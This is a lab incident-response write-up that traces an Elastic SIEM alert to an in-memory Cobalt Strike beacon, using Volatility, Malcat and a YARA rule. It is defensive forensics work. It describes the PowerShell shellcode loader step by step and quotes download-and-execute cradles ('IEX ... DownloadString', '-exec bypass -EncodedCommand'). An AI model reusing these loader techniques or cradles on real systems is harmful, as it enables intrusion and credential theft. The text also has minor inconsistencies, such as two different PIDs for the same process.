Investigating Suspicious Memory Activity: Tracing a SIEM Alert to a Cobalt Strike C2
1.0 Introduction
The investigation revealed clear indicators of a fileless Cobalt Strike beacon, reflectively loaded via PowerShell and operating entirely in memory. This technique aligns with known EDR evasion strategies documented by Deep Instinct, where payloads are injected into memory using reflective DLL loading, leaving no artefacts on disk and effectively bypassing traditional signature-based detection mechanisms [1]
The presence of powershell.exe
within memory, without a corresponding file on disk, supports this, as does the use of -encodedCommand
to deliver obfuscated payloads a common staging method used by attackers to evade endpoint monitoring tools. According to Pentera, such zero-footprint attacks follow a clear pattern of reflective loading, dependency redirection, and dynamic execution to avoid detection by userland monitoring [2]
Furthermore, the sample’s use of Windows APIs such as VirtualAlloc
, VirtualProtect
, WriteProcessMemory
, and CreateRemoteThread
mirrors behaviour observed in other EDR-bypass-enabled malware, where attackers circumvent API hooking by unhooking or restoring clean versions of system libraries like ntdll.dll
[1] [3] [6]. These methods are designed to evade behavioural monitoring engines that rely on inline API hooks for detection.
Privilege escalation was also evident in the binary’s use of AdjustTokenPrivileges
and enabling of SeDebugPrivilege
, which are often prerequisites for accessing protected processes such as LSASS. This corresponds with documented techniques where attackers target LSASS memory to extract credentials, sometimes using forking or process cloning approaches to avoid detection[1] [4] [5]. Lastly, the extracted binary was structurally examined using Malcat and found to contain anomalous sections, obfuscated strings, and elevated entropy levels characteristics consistent with known in-memory payloads [7][8]. These findings were further validated using dynamic analysis, which demonstrated PowerShell spawning, delayed execution, and C2 communication with 192.168.135.57
, behaviourally consistent with a staged or stageless beacon.
These observations collectively reinforce the conclusion that the host was compromised using a stealthy, fileless Cobalt Strike loader, employing well-documented EDR bypass techniques including reflective loading, AMSI bypass, API unhooking, and memory-only privilege escalation as outlined by sources such as Deep Instinct, Pentera, Volexity, and Advania [9][10]
1.1 Lab Setups
This lab simulates a targeted attack against a Windows 10 victim machine, with Cobalt Strike hosted on an Ubuntu attacker machine. Memory acquisition is performed using FTK Imager. The analysis environment includes an Ubuntu analyst machine running Volatility 3 for memory forensics, and a Kali Purple server equipped with Elastic SIEM, Winlogbeat, Auditbeat, XDR, and Fleet to monitor and investigate security events across the environment. This setup enables end-to-end detection and forensic investigation of in-memory threats.
Victim Machine
- Operating System: Windows 10
- IP Address:
192.168.135.13
-
Tools Installed:
- FTK Imager — used to capture a memory dump of the system for forensic analysis.
Attacker Machine
- Operating System: Ubuntu 22.04 LTS
- IP Address:
192.168.135.57
-
Tools Used:
- Cobalt Strike — for simulating a realistic command and control (C2) attack scenario.
- Updog — lightweight file server used to host and deliver malicious payloads.
Analyst Machine
- Operating System: Ubuntu 22.04 LTS
-
Tools Used:
- Volatility 3 — for performing memory forensics on captured dumps.
- Malcat — for lightweight static analysis, disassembly, and extracting C2 information from suspicious binaries.
- Visual Studio Code — used for writing Python scripts to decode Base64 payloads and save them as
.bin
files for further analysis.
Server & SIEM Infrastructure
-
Interfaces:
eth0
:192.168.135.22
- Operating System: Kali Purple OS
-
Security Stack:
- Elastic SIEM
- Winlogbeat, Auditbeat — for forwarding Windows event and audit logs.
- Elastic XDR & Fleet Server — for managing agents and visualising collected data.
1.2 Lab Scenarios
The lab consists of a simulated environment where Cobalt Strike was used to inject PowerShell into memory. This initial injection triggered several alerts. By examining the SIEM logs, it was identified that PowerShell had attempted to dump the LSASS process. This finding prompted a full memory analysis of the affected system.
1.3 SEIM Alert
Alert Dashboard
Alert type
Summary of the alert
On 12 July 2025, the host desktop-4dadb8u
generated multiple security alerts indicating suspicious activity. Around 11:55 to 11:57, a PowerShell script named powershell_x64.ps1
was detected running potentially malicious hacktool functions, using PSReflect to invoke Windows APIs directly, and showing signs of process injection attempts. Later, between 15:35 and 15:37, the process rundll32.exe
was flagged for suspicious access to the LSASS process via Windows API calls, which could indicate an attempt to dump credentials. Overall, the sequence of events suggests possible credential theft and in-memory attack techniques that warrant immediate investigation and containment.
2.0 Investigation
2.1 Using The Five Why Model
The Five Whys is a simple but powerful method for finding the root cause of a problem. By asking “why?” repeatedly often around five times it helps trace an issue back beyond its symptoms to the underlying cause. This approach does not rely on complex analysis and is highly effective for most operational or incident investigations. It works best for problems that are simple to moderately complex, and is especially useful when human factors are involved. For more complicated cases, it can be combined with other techniques. To use it, start with a clear problem statement. Then keep asking “why” for each answer you get, digging deeper until you uncover the real cause. Always base your answers on facts and data, and focus on improving the process rather than blaming people. here is simple sample,
This technique was developed by Sakichi Toyoda and became a core part of Toyota’s quality management. It remains widely used today alongside principles like kaizen and jidoka, helping teams fix problems at their source. [citation]
2.2 Potential Process Injection via PowerShell
Applying a simple form of the “Five Why” approach to trace cause and significance, focused only on relevant technical aspects of the alert.
- What happened?
An Elastic SIEM detection rule triggered a high severity alert on the Windows 10 endpoint
DESKTOP-4DADB8U
after identifying suspicious PowerShell activity. The alert indicated potential process injection via PowerShell, linked to a script namedpowershell_x64.ps1
located in the user’s Downloads folder. This activity matched known MITRE ATT&CK techniques, specifically T1055 for process injection (covering both DLL and PE injection) and T1059.001 for PowerShell execution, along with evidence of native API execution (T1106). As a result, the security platform assigned it a risk score of 73, flagging it as a likely malicious event requiring investigation.
- Why was it detected?
The detection occurred because the executed PowerShell script contained multiple API function calls that are commonly abused to perform in-memory execution and process injection. The script allocated memory using VirtualAlloc
, copied an XOR-decoded shellcode payload into this memory, resolved necessary function pointers, and ultimately executed the payload by invoking a delegate.
These are typical techniques used to bypass on-disk detection, and the SIEM rule is designed to identify such PowerShell scripts that directly leverage Windows APIs associated with in-memory code execution.
3. Why did the script run on this endpoint?
The script was executed under the context of the local user windows10
, who appeared to have downloaded the file and run it from their Downloads directory. Windows Event ID 4104 confirmed that PowerShell processed this script block. Although it is not immediately clear from the available data whether the user knowingly ran this script or whether it was executed through social engineering or an automated payload delivery mechanism, the presence of the script in the user’s Downloads folder strongly suggests it was either manually or inadvertently executed on the system.
4. Why is this a concern?
This is a significant concern because process injection via PowerShell enables an attacker to execute arbitrary code within the memory space of legitimate processes, thereby avoiding detection by traditional file-based antivirus solutions. It also provides an effective mechanism for stealthy command and control, credential theft, or lateral movement within the network. The fact that the PowerShell script implemented classic shellcode injection patterns highlights a deliberate attempt to bypass security controls and maintain persistence or escalate an attack.
- Why did it reach this point (root cause)?
This event triggered due to a combination of factors, including a lack of strict PowerShell execution policies such as Constrained Language Mode, the absence of robust application control solutions like AppLocker or Windows Defender Application Control to prevent unauthorised script execution, and potentially inadequate user awareness or endpoint controls to block downloads of suspicious files. As a result, a script that employs known offensive security and malware techniques was able to execute on the host, triggering the detection only after it attempted to perform process injection.
3.0 LSASS Process Access via Windows API
Detection logic (rule analysis)
The detection was triggered by the Elastic Security (SIEM) rule named:
LSASS Process Access via Windows API
Rule details:
- Rule type: EQL (Event Query Language)
- Data source:
logs-endpoint.events.api-*
,logs-m365_defender.event-*
-
Key query:
api where host.os.type == "windows" and process.Ext.api.name in ("OpenProcess", "OpenThread") and Target.process.name : "lsass.exe" and not ( <long exclusion list> )
- Purpose: Detects any Windows API call
OpenProcess
orOpenThread
specifically targeting thelsass.exe
process, which is the Local Security Authority Subsystem Service that holds credentials in memory. - Mapped MITRE ATT&CK:
T1003.001 - OS Credential Dumping: LSASS Memory
T1106 - Native API
TA0006 - Credential Access
TA0002 - Execution
- Severity: Medium
- Risk score: 47
It also checks that the access is not from a list of known safe tools (AV agents, patch managers, trusted monitoring), nor from an unsigned executable that would otherwise be suspicious.
3.1 Why did it trigger?
The event that caused the alert
- Host:
DESKTOP-4DADB8U
(Windows 10 Pro N 22H2) - Process:
C:\Windows\System32\rundll32.exe
- API call:
OpenProcess
- Target:
lsass.exe
(PID 732) - Access requested:
PROCESS_ALL_ACCESS
(2097151) including rights likeDELETE
,WRITE_DAC
,WRITE_OWNER
,READ_CONTROL
.
This means rundll32.exe
attempted to open a handle to the lsass.exe
process requesting full rights, which is typical for memory dumping.
3.2 The Five Whys
3.2.1 Why did this detection rule fire?
Because the Elastic endpoint agent observed an API event on this Windows system where rundll32.exe
invoked the OpenProcess
function to obtain a handle to the lsass.exe
process. The access rights requested (PROCESS_ALL_ACCESS
) indicate an attempt to read or manipulate LSASS memory, which matches the detection query exactly.
3.2.2 Why does this behaviour raise a security concern?
Accessing lsass.exe
with such privileges is a hallmark of credential dumping attacks. LSASS holds NTLM hashes, Kerberos tickets and sometimes plaintext passwords. Attackers or post-exploitation frameworks (like Mimikatz) routinely open LSASS with PROCESS_ALL_ACCESS
to extract these credentials. Although legitimate security tools also inspect LSASS, they are usually signed, well-known, and explicitly excluded by this rule. Here, rundll32.exe
is not explicitly whitelisted for this behaviour, so it becomes suspect.
3.2.3 Why was rundll32.exe trying to open LSASS?
rundll32.exe
is a legitimate Windows utility for running DLL functions. However, attackers frequently abuse it to load malicious DLLs or inline shellcode because it blends in with normal system processes and is signed by Microsoft. This case suggests that either:
- A legitimate admin / security tool misconfigured to use
rundll32.exe
for LSASS access, or - A malicious DLL was loaded into
rundll32.exe
to dump credentials stealthily. The requested rights (PROCESS_ALL_ACCESS
) and target (lsass.exe
) strongly imply credential harvesting intent.
3.2.4 Why didn’t existing controls block or stop this?
The detection rule did catch it, but it was after the API call was made — this is a detection, not a prevention. Windows Defender Credential Guard (or similar) may not have been enabled, which would have prevented LSASS from granting such access. Also, Application Control (like WDAC or AppLocker) may not have been configured to restrict misuse of rundll32.exe
. This left the system exposed to living-off-the-land binaries (LOLBins) abuse.
3.2.5 Why is this critical in the context of MITRE ATT&CK?
Because it aligns directly with techniques T1003.001
(LSASS Memory credential dumping) and T1106
(Native API). Gaining access to LSASS is a pivotal step for attackers — once they extract credentials, they can escalate privileges or move laterally to compromise other systems in the network. This is why defenders closely monitor any suspicious process opening LSASS with high privileges.
3.3 Conclusion
The Elastic detection engine generated this alert after rundll32.exe
on host DESKTOP-4DADB8U
called the Windows API OpenProcess
with PROCESS_ALL_ACCESS
to the lsass.exe
process. This behaviour strongly indicate credential dumping activity as described in MITRE ATT&CK T1003.001
. The rule explicitly monitors API events targeting lsass.exe
with suspicious access levels.
4.0 Analysing the powershell_x64.ps1
The script starts by enforcing strict PowerShell rules using Set-StrictMode -Version 2
, which means it will stop if there are undeclared variables or syntax issues, helping catch script errors early.
It defines a function called func_get_proc_address
. This function accepts the name of a DLL (like kernel32.dll
) and a function name (like VirtualAlloc
). It uses .NET reflection to dig into the loaded assemblies, find System.dll
, and from there, uses the internal Microsoft.Win32.UnsafeNativeMethods
class. This allows it to indirectly call the unmanaged Windows API function GetProcAddress
, which retrieves the memory address of a function exported by a loaded DLL. In addition, this function gives the script a way to dynamically look up where Windows keeps core API functions in memory.
Furthermore, it defines func_get_delegate_type
, which builds a custom .NET delegate type in memory. It takes a list of parameter types and an optional return type. It does this by using the Reflection.Emit API to define a new delegate class entirely at runtime. This dynamic delegate will be used to call unmanaged code from within the PowerShell environment, acting like a type-safe function pointer.
After defining these helpers, the script checks whether the operating system is 64-bit by comparing [IntPtr]::Size
to 8. If so, it continues by decoding a Base64-encoded blob into a byte array called $var_code
. This is typically shellcode (machine instructions) that will be executed later.
It then loops over each byte in $var_code
and XORs it with 35
(hex 0x23
). This is a simple obfuscation technique to hide the shellcode from basic static analysis or antivirus scanning.
The script then uses the func_get_proc_address
function to find the address of VirtualAlloc
inside kernel32.dll
, which is a Windows API function used to allocate memory. Using func_get_delegate_type
, it builds a delegate matching VirtualAlloc
’s signature so it can call it from PowerShell. It then invokes VirtualAlloc
to allocate a memory buffer that is marked as executable (0x40
is PAGE_EXECUTE_READWRITE
).
After allocating the memory, it copies the decoded shellcode into this allocated region using Marshal.Copy
. Finally, it creates another delegate matching the signature of a function that takes a single IntPtr
parameter and returns void, pointing directly to the start of the shellcode in memory, and calls Invoke
on this delegate. This causes the shellcode to execute inside the PowerShell process. Essentially, this script dynamically resolves Windows API functions, builds appropriate function pointers in .NET, allocates memory, copies malicious machine code into that memory, and then executes it, all from within a PowerShell process without touching disk again.
4.1 Decoding the Powershell_64 content from SEIM
The script starts by enforcing strict PowerShell rules to catch common coding mistakes. It defines a function to get the memory address of a Windows API function using GetProcAddress
. Another function creates a custom delegate type, allowing unmanaged function pointers to be executed from PowerShell. If the system is 64-bit, it runs the rest of the code. It decodes a base64 string into a byte array, which is XOR-decrypted using the value 35. It uses VirtualAlloc
to allocate memory with execute permissions. The decrypted code is copied into that memory. Finally, it jumps to the memory region and runs the code as if it were a normal function.
4.2 Decoding the base64
import base64
encoded_data = "base64here"
# Decode from base64
decoded_bytes = base64.b64decode(encoded_data)
# XOR each byte with 35
decoded_shellcode = bytearray()
for b in decoded_bytes:
decoded_shellcode.append(b ^ 35)
# Print hex output to see what it is
print("Decoded bytes (hex):")
print(decoded_shellcode.hex())
# Also write to a binary file
with open("hidden_payload.bin", "wb") as f:
f.write(decoded_shellcode)
print("Written to hidden_payload.bin")
This Python script is designed to reverse a basic obfuscation technique. It begins by importing the base64
module so it can decode data that has been encoded using base64. The encoded string, which likely contains shellcode, is stored in the variable encoded_data
. The script decodes this base64 string into raw bytes.
Once decoded, it applies an XOR operation using the number 35 to each byte. This step reverses a simple encryption method where each original byte was previously XOR’d with 35 to hide its true value. The script collects the resulting bytes in a variable called decoded_shellcode
.
It then prints the decoded shellcode in hexadecimal form so the analyst can visually inspect the contents. After that, the decoded binary data is written to a file called hidden_payload.dll
, which can be used for further analysis, such as running it in a sandbox, disassembling it, or scanning it with antivirus and memory forensics tools, In this case we will be using Malcat
5.0 Malcat Analysis
While many disassembler tools are available, Malcat provides a more reasonable balance between reverse engineering difficulty and the need to understand the malware and extract C2 IoCs, while still offering disassembly features.
Especially if you’re just starting to build malware analysis skills, it’s important to use what works for you in this case, the researcher preferred Malcat, which is completely free.
During the analysis, the file showed many signs that it’s designed to hide what it really does. It had lots of repeated, unnecessary loops (KornLoop).
and used memory tricks like creating arrays on the stack and filling them during runtime (StackArrayInitialisationX64).
These are common in tools that decode or run something else in memory, often without writing it to disk.
There were also many constant values and unusually large numbers hardcoded in the code (ManyUniqueImmediateBytes and ManyHighValueImmediates), which are often used to help decrypt something or confuse analysts.
The code itself was messy, with complicated jumps and logic paths (SpaghettiFunction), although a few parts were straightforward and might help set up the main payload (SequentialFunction).
The tool also pointed out that some functions looped in a way that cross-referenced other areas of the program (HighXrefLoopingFunction), which can be a sign of scanning or memory searching. It uses known Windows functions like LoadLibrary
and GetProcAddress
(PossiblePackerApiDownloaderImport), but instead of listing them normally, it hides them by turning their names into hashes and comparing them (ImportByHash).
That makes it harder for antivirus tools to spot what’s going on.
It also uses Windows functions to download files from the internet (DownloaderApiUsage), and crypto functions to encrypt or decrypt something while it runs (CryptoApiUsage). Some parts of the file build DLL names and strings only while the program is running (DynamicDllString and DynamicString), and others are encoded in base64 (StringBase64), which is often used to hide commands, payloads, or connection details. All of this suggests the file was built to hide its true purpose, likely to decrypt and run a Cobalt Strike beacon in memory.
6.0 Analysing the Windows API functions
Analysing each of this Windows API functions will takes time, so we will only look at the ones that are relevant.
This is very strong evidence that the binary is a Cobalt Strike Beacon or a loader for one. The presence of beacon_config_xor_2e
alone stands out, as it matches known patterns of Cobalt Strike’s configuration format. Combined with API hashing, use of cryptography, and stealthy runtime techniques like PEB access, it confirms this is likely a malicious Cobalt Strike implant.
API Function | Capability | Category |
---|---|---|
GetProcAddress | Resolve API address at runtime | API Resolution |
LoadLibraryA | Dynamically load libraries | API Resolution |
CreateRemoteThread | Remote thread execution | Process Injection |
VirtualAlloc | Allocate memory in remote/local process | Memory Allocation |
VirtualProtect | Change memory protection | Memory Allocation |
WriteProcessMemory | Write shellcode or data into memory | Memory Write |
OpenProcess | Obtain handle to a process | Process Access |
NtCreateThreadEx | Thread creation (stealthy) | Thread Execution |
InternetOpenA | Initiate outbound connection | Networking |
InternetReadFile | Read response from C2 server | Networking |
HttpSendRequestA | Send HTTP data to C2 | Networking |
WinHttpSendRequest | Send HTTP data using WinHTTP | Networking |
CreateFileA | Create new or access existing file | File Operation |
ReadFile | Read contents of a file | File Operation |
WriteFile | Write data to a file | File Operation |
DeleteFileA | Delete file from disk | File Operation |
GetUserNameA | Get current user name | System Info |
GetComputerNameA | Get local computer name | System Info |
GetCurrentProcess | Obtain current process handle | System Info |
GetTokenInformation | Query information from token | Token Manipulation |
OpenProcessToken | Access token of a process | Token Manipulation |
AdjustTokenPrivileges | Enable/disable privileges | Privilege Escalation |
ImpersonateLoggedOnUser | Impersonate another user | Privilege Escalation |
Sleep | Delay execution | Anti-Analysis |
WaitForSingleObject | Synchronise threads/processes | Thread Control |
GetModuleHandleA | Get module base address | API Resolution |
6.1 NtMapViewOfSection
This is commonly used to inject code into another process by mapping a view of a section object into the address space of a target process. It’s often seen in fileless malware and process hollowing.
6.2 CreateToolhelp32Snapshot and Process32Next
These are used together to enumerate running processes. Malware often uses these APIs to locate a specific process, such as lsass.exe
, for credential dumping or to find a parent process for injection.
6.3 AdjustTokenPrivileges and SeDebugPrivilege
6.3.1 Windows Privileges Commonly Abused by Cobalt Strike Beacons
This clearly signals that the listed privileges are those typically requested or leveraged by Cobalt Strike payloads during post-exploitation, especially for token manipulation, process injection, or privilege escalation. These are used to grant the process higher privileges, especially to access or manipulate other processes. Malware enabling SeDebugPrivilege
, SeImpersonatePrivilege
, SeTcbPrivilege
, SeBackupPrivilege
, SeLoadDriverPrivilege
is likely preparing to dump credentials via lsass or perform injection. here are the few
No. | Privilege | Description |
---|---|---|
1 | SeDebugPrivilege | Allows a process to debug and access any process, including those running as SYSTEM. |
2 | SeImpersonatePrivilege | Enables a process to impersonate any user without authentication. |
3 | SeAssignPrimaryTokenPrivilege | Allows assigning a primary token to a process, used in privilege escalation. |
4 | SeLoadDriverPrivilege | Permits loading and unloading device drivers. |
5 | SeBackupPrivilege | Allows reading any file regardless of permissions, used for file theft or shadow copy access. |
6 | SeRestorePrivilege | Enables writing to any file regardless of permissions, often used to tamper with protected files. |
7 | SeCreateTokenPrivilege | Allows creating a security token, used for forging tokens. |
8 | SeTcbPrivilege | Trusted Computing Base - gives wide system privileges, equivalent to SYSTEM access. |
9 | SeManageVolumePrivilege | Enables managing and dismounting volumes, can be used to hide activity. |
10 | SeTakeOwnershipPrivilege | Allows taking ownership of objects (files, registry keys), bypassing ACLs. |
11 | SeChangeNotifyPrivilege | Permits receiving file system change notifications; often abused for stealth. |
12 | SeIncreaseQuotaPrivilege | Allows increasing quotas, which may support token abuse or spawning processes. |
13 | SeRelabelPrivilege | Used to modify object labels in Mandatory Integrity Control (MIC). |
14 | SeShutdownPrivilege | Enables system shutdown or restart. |
15 | SeSystemtimePrivilege | Permits changing the system time. |
16 | SeUndockPrivilege | Allows removal of a system from a docking station. |
6.4 VirtualAlloc and VirtualProtect
These allocate and change memory permissions in the process’s address space. Attackers use them to prepare memory for injecting and running shellcode.
6.4.1 VirtualAlloc
The program compares a 32-bit hash (0x91AFCA54
) against values pushed on the stack. This hash matches the API VirtualAlloc
, which is a Windows function used to allocate memory in a process. In the context of malware, VirtualAlloc
is usually used to create a space in memory where decoded or decrypted shellcode will be written before it is executed.
So in this flow, when the comparison matches VirtualAlloc
, the program retrieves the function pointer using a custom hashing logic and saves it for later use — likely when the shellcode will be loaded.
6.4.2 VirtualProtect
Similarly, it compares another hash (0x7946C61B
) which resolves to VirtualProtect
. This function is used to change memory protection on a region, for example, from non-executable to executable. Malware uses this after writing shellcode to memory, so it can then execute it without raising suspicion from modern defences like DEP (Data Execution Prevention).
6.5 InternetReadFile
This is a network API used to download data from the internet. It’s often part of the second-stage delivery mechanism or used to fetch C2 commands or payloads.
6.6 DownloadUsingpowershell
This isn’t a standard API but likely refers to PowerShell commands or strings used to download content, such as Invoke-WebRequest
or IEX(New-Object Net.WebClient).DownloadString()
. These are common in LOLBins and script-based malware.
A suspicious PowerShell command is embedded:
IEX (New-Object Net.WebClient).DownloadString('-')
- This is a known pattern for downloading and executing code from the web, and is heavily used by Cobalt Strike and similar tools.
http://127.0.0.1/u
this is often used for testing during development, or as a placeholder. Strings likenop -exec bypass -EncodedCommand
Attempts to obfuscate PowerShell payloads via base64 encoding and bypass command execution restrictions.
7.0 Analysing the MemoryDump
While the alert in the SIEM outlines possible scripts and behaviours associated with this malware, it is also evident that the malware has been loaded into memory. This strongly suggests there may be additional binaries or DLLs actively running in memory. To investigate further, we have acquired a memory dump using FTK Imager. The analysis of this dump is ongoing and will help identify any additional components or malicious activity residing in memory.
Note:
This section does not include details on how to operate the Volatility framework itself. For convenience, we have adjusted our environment so that running:
Vol <plugin>
is equivalent to executing:
python3 ./vol.py -f Cobaltstrike.mem <plugin>
For example, running:
Vol windows.pslist
will execute the same as:
python3 ./vol.py -f Cobaltstrike.mem windows.pslist
This setup streamlines the analysis process by removing the need to repeatedly specify the memory file and script path.
7.1 windows.pslist
Get a baseline list of running processes.
The output from windows.pslist
appears complex, with numerous running processes. At this stage, it is not possible to pinpoint which process might be malicious purely by inspecting the list.
7.2 windows.pstree.PsTree
Visualise parent-child relationships, often shows suspicious injection.
The initial alert from the SIEM indicated the presence of powershell_x64.ps1
. Using windows.pstree.PsTree
, we can observe that the device DESKTOP-4DADB8U
is currently running PowerShell. Given that the original PowerShell script was detected in the Downloads directory by the SIEM alert, it is reasonable to assume that the running powershell.exe
process with PID 14484 is responsible for executing the initial payload.
7.3 windows.envars.Envars
The presence of PSExecutionPolicyPreference=Bypass
is a clear red flag. This setting disables PowerShell’s script execution restrictions, allowing unsigned or potentially malicious scripts to run without warning. Attackers, including Cobalt Strike operators, often set this to bypass defensive controls and execute payloads silently
7.4 Analysis of Suspicious Memory Region
Why malfind
Is Especially Valuable?
When investigating memory images, one of the biggest challenges is pinpointing where the malware resides, especially in cases where:
- The malicious process is a legitimate system process (e.g.
powershell.exe
,svchost.exe
,explorer.exe
) - The attacker has used process injection, reflective DLL loading, or code hollowing
- Plugins like
pslist
,pstree
, orpsscan
show no obvious anomalies the process tree appears normal, and the process name does not raise any suspicion
In such cases, Volatility3’s windows.malfind
plugin becomes crucial. Rather than relying on process names or hierarchy, malfind
inspects the memory regions of all processes, looking for:
- Executable (
PAGE_EXECUTE_READWRITE
) memory that is also private (not backed by a file) - Sections that are often used for code injection or shellcode execution
- Raw disassembly output and byte patterns that may signal obfuscated payloads or packing artefacts
This allows the analyst to:
- Detect injected payloads even when the parent process looks legitimate
- Discover in-memory implants that are not visible via normal process enumeration
- Focus deeper analysis (e.g. memory dumps, YARA scans) on suspicious memory regions, not just processes
In our case, runining malfind produced multiple suspicious memory regions within powershell.exe (PID 14484), as seen in the screenshot. Two memory segments are of particular interest:
Vol windows.malfind.Malfind
Observations:
- Process:
powershell.exe
- PID:
14484
- Memory Protection:
PAGE_EXECUTE_READWRITE
- PrivateMemory:
73
and86
respectively - Disassembly: Shows repeated
add byte ptr [rax], al
— a common pattern for shellcode padding or overwritten memory.
Why This Is Suspicious:
-
PAGE_EXECUTE_READWRITE
is highly abnormal for legitimate memory regions. This combination allows the memory to be both written to and executed — a classic sign of shellcode injection or process hollowing. -
Disassembly Output: The pattern of
add byte ptr [rax], al
is often observed in:- NOP sleds or dummy instructions
- Uninitialised or overwritten shellcode regions
- Attempts to bypass static detection by inserting filler bytes
-
Private Memory: Indicates the memory is not mapped to a file on disk, again suggesting this is runtime-injected code.
7.5 windows.netscan
The windows.netscan
plugin scans a Windows memory image for network socket objects. It identifies both TCP and UDP connections, showing local and remote IP addresses, ports, connection states, and the process ID responsible. This helps analysts detect suspicious or hidden network activity, such as Cobalt Strike beacons or reverse shells. It is particularly useful for identifying active or recently closed connections from unusual processes like powershell.exe
In this output, we can see that PowerShell (running on 192.168.135.13) attempted a connection to 192.168.135.57 on port 80, which is identified as the Cobalt Strike C2 server. Although the connection is currently closed, it raises the question: why was PowerShell communicating with this external IP at all?
7.6 windows.dumpfiles.DumpFiles
The windows.dumpfiles.DumpFiles
plugin is used to extract file-like objects from memory. In this case, the analyst is dumping a suspicious memory region (0x12df4f10000
) from the powershell.exe
process using the command:
vol windows.dumpfiles.DumpFiles --pid 14484 --virtaddr 0x12df4f10000
This memory region was previously flagged by malfind
as having PAGE_EXECUTE_READWRITE
permissions, which is commonly associated with code injection. By dumping it, the analyst can examine the contents further such as checking for embedded PE headers, strings, or signs of a Cobalt Strike beacon. This is a key step in investigating in-memory malware that does not touch disk.
Subsequent memory dump analysis revealed an embedded binary resembling powershell.exe
, likely reflectively loaded or injected, consistent with known Cobalt Strike loader techniques.
The combination of:
- network evidence (outbound PowerShell connection to the C2),
- and memory artefacts (presence of an in-memory
powershell.exe
binary)
confirms that the host is compromised and running a fileless or in-memory beacon.
Further structural analysis of the extracted binary was conducted using Malcat, validating the presence of suspicious sections and characteristics typically associated with obfuscated implants.
We opted not to dump the PowerShell process itself, as prior indicators confirmed it to be associated with Cobalt Strike. This assessment is supported by network telemetry showing that the PowerShell process (PID 6804) established a connection to a known attacker-controlled host at 192.168.135.57:80.
8.0 Dynamic Analysis Result
8.1 C2
8.2 Virus Total
8.3 Cobalt Strike Beacon Configuration Analysis
The beacon uses HTTP to communicate with its C2 server at 192.168.135.57
, accessing /pixel.gif
and posting to /submit.php
. It sleeps for 60 seconds between callbacks with no jitter and allows up to 1MB of data per GET request. The beacon uses rundll32.exe
as the spawn process for both x86 and x64, with no shellcode prepend or append.
Process injection is enabled using VirtualAllocEx
and standard Windows APIs such as CreateThread
, SetThreadContext
, CreateRemoteThread
, and RtlCreateUserThread
. RWX memory is used during allocation and execution. Proxy settings follow the system (IE), but no authentication details are set. Cookies are used in C2 traffic. The beacon has no kill date and does not clean up staging artefacts. A static watermark value of 987654321
is present, and no DNS or SSH features are configured.
9.0 Conclusion
The investigation confirmed that the host was compromised by a fileless, in-memory Cobalt Strike beacon delivered via PowerShell. Lab monitoring showed the PowerShell process (PID 6804) establishing outbound connections to a known attacker-controlled IP, 192.168.135.57:80. Memory dump analysis revealed a reflectively loaded binary resembling powershell.exe
, consistent with Cobalt Strike loader behaviour. Decoded base64 strings embedded in the payload exposed PowerShell command chains using IEX
and Net.WebClient
to fetch additional stagers. Further analysis with Malcat revealed obfuscated strings, suspicious sections, and high entropy, supporting the presence of a malicious implant. The sample made use of Windows API functions such as VirtualAlloc
, VirtualProtect
, AdjustTokenPrivileges
, and SeDebugPrivilege
, indicating memory injection and privilege escalation activity.
Indicators of access to the lsass
process via OpenProcess
and ReadProcessMemory
suggest potential credential theft. Dynamic analysis confirmed network callbacks, use of PowerShell as a loader, and in-memory execution of additional payloads. Collectively, the network telemetry, memory artefacts, decoded payloads, and API usage confirm a Cobalt Strike intrusion using reflective process injection and PowerShell-based delivery.
9.1 Root Cause Analysis (Five Whys)
To better understand how this fileless attack succeeded, the Five Whys technique was applied:
-
Why was a fileless Cobalt Strike beacon running in memory? Because a PowerShell script (
powershell_64.ps1
) executed a reflectively loaded payload. -
Why was the script able to execute? Because it was launched from the user’s Downloads directory via
powershell.exe
, indicating the file was manually downloaded and executed. -
Why did the user download and run the script? Likely due to social engineering or misleading context that made the script appear safe or necessary.
-
Why wasn’t the script blocked by endpoint protection? Because although it triggered an alert, the endpoint protection was operating in detection-only mode or lacked automated blocking, allowing execution to proceed.
-
Why were such evasion techniques effective? Because controls such as PowerShell script logging, AMSI integration, or application control policies were either misconfigured, outdated, or not enforced, reducing visibility and prevention capabilities.
9.1 IOCs
192[.]168[.]135[.]57
41116eaf116e0aa23a281d271f8b6056b0004de809e0ca9b639a5eaf4766d355
9.2 Yara
rule WiltedTulip_ReflectiveLoader {
meta:
description = "Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip"
license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
author = "Florian Roth (Nextron Systems)"
reference = "http://www.clearskysec.com/tulip"
date = "2017-07-23"
hash1 = "1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904"
hash2 = "1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a"
hash3 = "a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f"
hash4 = "cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0"
hash5 = "eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89"
id = "0c7dfb44-8acb-5f36-9683-745560f1f795"
strings:
$x1 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
$x2 = "%d is an x86 process (can't inject x64 content)" fullword ascii
$x3 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" fullword ascii
$x4 = "Failed to impersonate token from %d (%u)" fullword ascii
$x5 = "Failed to impersonate logged on user %d (%u)" fullword ascii
$x6 = "%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" fullword ascii
condition:
( uint16(0) == 0x5a4d and filesize < 600KB and 1 of them ) or
( 2 of them ) or
pe.exports("_ReflectiveLoader@4")
}
9.3 References
[1] Deep Instinct – EDR Bypass Techniques and How to Stop Them
https://www.deepinstinct.com/blog/edr-bypass-techniques-and-how-to-stop-them
Accessed: 20 July 2025
[2] Pentera – Zero Footprint Attacks: 3 Steps to Bypass EDR with Reflective Loading
https://pentera.io/blog/zero-footprint-attacks-3-steps-to-bypass-edr-with-reflective-loading/
Accessed: 20 July 2025
[3] Advania – A Practical Guide to Bypassing Userland API Hooking
https://www.advania.co.uk/blog/security/a-practical-guide-to-bypassing-userland-api-hooking/
Accessed: 20 July 2025
[4] Deep Instinct – Evading Antivirus Detection with Inline Hooks
https://www.deepinstinct.com/blog/evading-antivirus-detection-with-inline-hooks
Accessed: 20 July 2025
